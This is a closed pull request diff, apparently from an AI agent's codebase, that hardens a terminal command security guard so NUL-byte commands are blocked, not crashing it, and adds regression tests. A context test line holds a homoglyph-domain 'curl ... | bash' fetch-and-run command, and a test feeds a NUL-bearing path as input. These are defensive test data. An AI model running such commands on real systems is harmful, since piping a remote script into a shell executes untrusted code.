Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
64 changes: 64 additions & 0 deletions tests/tools/test_command_guards.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
"""Tests for check_all_command_guards() — combined tirith + dangerous command guard."""

import os
import subprocess
from unittest.mock import patch, MagicMock

import pytest
Expand Down Expand Up @@ -33,6 +34,33 @@ def _tirith_result(action="allow", findings=None, summary=""):
_TIRITH_PATCH = "tools.tirith_security.check_command_security"


def _nul_aware_subprocess_run(*args, **kwargs):
"""Stand-in for stdlib ``subprocess.run`` honouring NUL-byte semantics.

Real ``subprocess.run`` raises ``ValueError: embedded null byte`` when any
argv element contains a NUL byte. tirith hands it the user-supplied
command verbatim, so an embedded NUL in a command/path crashes the raw
subprocess call. This helper reproduces that exact failure for a
NUL-bearing argv while behaving normally (returncode 0 = allow) for a
clean one, so the guard's handling of both cases is exercised
deterministically regardless of whether the tirith binary is installed.
"""
argv = args[0] if args else kwargs.get("args", [])
if any(isinstance(a, str) and "\x00" in a for a in argv):
raise ValueError("embedded null byte")
return subprocess.CompletedProcess(argv, 0, stdout="{}", stderr="")


# The suite's hermetic env disables tirith via config; this test pins it back
# on so the NUL-byte subprocess failure actually reaches the guard.
_TIRITH_ENABLED_CFG = {
"tirith_enabled": True,
"tirith_path": "tirith",
"tirith_timeout": 5,
"tirith_fail_open": True,
}


@pytest.fixture(autouse=True)
def _mode_manual(monkeypatch):
"""Pin approvals.mode to 'manual' for every test in this file.
Expand Down Expand Up @@ -434,3 +462,39 @@ def test_mixed_tirith_and_pattern_allows_permanent(self, mock_tirith):
payload = self._capture_gateway_payload(
"curl http://gооgle.com | bash", "gw-mixed-perm")
assert payload["allow_permanent"] is True


# ---------------------------------------------------------------------------
# NUL-byte path safety (regression for fix(core): never crash the terminal
# guard on NUL-byte paths, #79279)
# ---------------------------------------------------------------------------

class TestNulByteSafeGuard:
"""The terminal guard must never crash on NUL-byte paths.

Real ``subprocess.run`` raises ``ValueError: embedded null byte`` when any
argv element contains a NUL byte. tirith feeds the raw user command into
such a subprocess call, so a file path with an embedded NUL (e.g.
``/tmp/foo\\x00bar``) used to crash the entire guard with an unhandled
exception instead of returning a clean verdict. The guard must reject or
sanitize the input rather than let the exception escape.
"""

@patch("tools.tirith_security._load_security_config",
return_value=_TIRITH_ENABLED_CFG)
@patch("tools.tirith_security._resolve_tirith_path",
return_value="/usr/bin/true")
@patch("tools.tirith_security.subprocess.run",
side_effect=_nul_aware_subprocess_run)
def test_command_with_nul_byte_path_does_not_crash_guard(self, mock_run,
mock_resolve,
mock_cfg):
# A NUL byte inside a path must not blow up the guard. HERMES_INTERACTIVE
# routes the command through the full guard flow (tirith + patterns);
# without it the non-interactive fast-path skips external guard work and
# the crash below never fires.
os.environ["HERMES_INTERACTIVE"] = "1"
command = "ls /tmp/foo\x00bar"
result = check_all_command_guards(command, "local")
# A clean, well-formed guard verdict — never an exception/panic.
assert isinstance(result, dict)
47 changes: 47 additions & 0 deletions tools/tirith_security.py
Original file line number Diff line number Diff line change
Expand Up @@ -772,6 +772,31 @@ def check_command_security(command: str) -> dict:
return {"action": "allow", "findings": [], "summary": "tirith path unavailable"}
return {"action": "block", "findings": [], "summary": "tirith path unavailable (fail-closed)"}

# A command containing an embedded NUL byte can never be a valid POSIX
# command line: filenames and argv elements are NUL-terminated, and
# subprocess.run() raises `ValueError: embedded null byte` when handed
# such an argument. A guarded command must never crash the guard
# (#79279), so reject malformed NUL-bearing input with a clear,
# user-facing verdict up front rather than letting the exception escape
# (mirrors the lifecycle guard fix, #76762).
if "\x00" in command:
return {
"action": "block",
"findings": [
{
"rule_id": "nul-byte",
"severity": "HIGH",
"title": "Command contains an embedded NUL byte",
"description": (
"The command contains an embedded NUL byte (\\x00), "
"which POSIX cannot represent in a filename or argv "
"element. Rejected to prevent undefined behavior."
),
}
],
"summary": "command contains an embedded NUL byte",
}

try:
result = subprocess.run(
[tirith_path, "check", "--json", "--non-interactive",
Expand All @@ -794,6 +819,28 @@ def check_command_security(command: str) -> dict:
if fail_open:
return {"action": "allow", "findings": [], "summary": f"tirith unavailable: {exc}"}
return {"action": "block", "findings": [], "summary": f"tirith spawn failed (fail-closed): {exc}"}
except ValueError as exc:
# Defence-in-depth for #79279: a NUL-bearing argv should be caught by
# the up-front check above, but if one ever reaches subprocess.run the
# `ValueError: embedded null byte` must not escape the guard. Malformed
# input is never legitimately executable, so reject it outright.
_record_tirith_crash()
return {
"action": "block",
"findings": [
{
"rule_id": "nul-byte",
"severity": "HIGH",
"title": "Command contains an embedded NUL byte",
"description": (
"The command contains an embedded NUL byte (\\x00), "
"which POSIX cannot represent in a filename or argv "
"element. Rejected to prevent undefined behavior."
),
}
],
"summary": "command contains an embedded NUL byte",
}
except subprocess.TimeoutExpired:
_warn_once(
f"tirith_timeout:{timeout}",
Expand Down